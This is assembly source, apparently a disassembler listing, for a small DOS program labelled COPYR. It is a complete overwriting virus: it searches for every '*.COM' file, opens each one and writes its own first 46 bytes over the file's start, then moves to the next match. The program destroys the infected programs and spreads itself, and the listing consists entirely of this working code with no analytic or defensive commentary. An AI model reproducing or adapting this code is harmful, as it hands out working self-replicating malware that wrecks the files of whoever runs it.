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- PAGE 59,132
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- ;██████████████████████████████████████████████████████████████████████████
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- ;██ ██
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- ;██ COPYR ██
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- ;██ ██
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- ;██ Created: 1-Jan-80 ██
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- ;██ Version: ██
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- ;██ Passes: 5 Analysis Options on: AFOP ██
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- ;██ ██
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- ;██ ██
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- ;██████████████████████████████████████████████████████████████████████████
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- data_1e equ 9Eh ; (996E:009E=0)
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- seg_a segment byte public
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- assume cs:seg_a, ds:seg_a
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- org 100h
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- COPYR proc far
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- start:
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- mov ah,4Eh ; 'N'
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- mov cl,20h ; ' '
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- mov dx,offset data_3 ; (996E:0128=2Ah)
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- int 21h ; DOS Services ah=function 4Eh
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- ; find 1st filenam match @ds:dx
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- loc_1:
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- mov dx,data_1e ; (996E:009E=0)
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- mov ax,3D01h
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- int 21h ; DOS Services ah=function 3Dh
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- ; open file, al=mode,name@ds:dx
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- mov bx,ax
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- mov dx,offset ds:[100h] ; (996E:0100=0B4h)
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- mov cl,2Eh ; '.'
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- mov ah,40h ; '@'
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- int 21h ; DOS Services ah=function 40h
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- ; write file cx=bytes, to ds:dx
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- mov ah,3Eh ; '>'
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- int 21h ; DOS Services ah=function 3Eh
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- ; close file, bx=file handle
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- mov ah,4Fh ; 'O'
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- int 21h ; DOS Services ah=function 4Fh
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- ; find next filename match
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- jnc loc_1 ; Jump if carry=0
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- int 20h ; Program Terminate
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- data_3 db 2Ah
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- db 2Eh, 43h, 4Fh, 4Dh, 00h
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- COPYR endp
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- seg_a ends
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- end start
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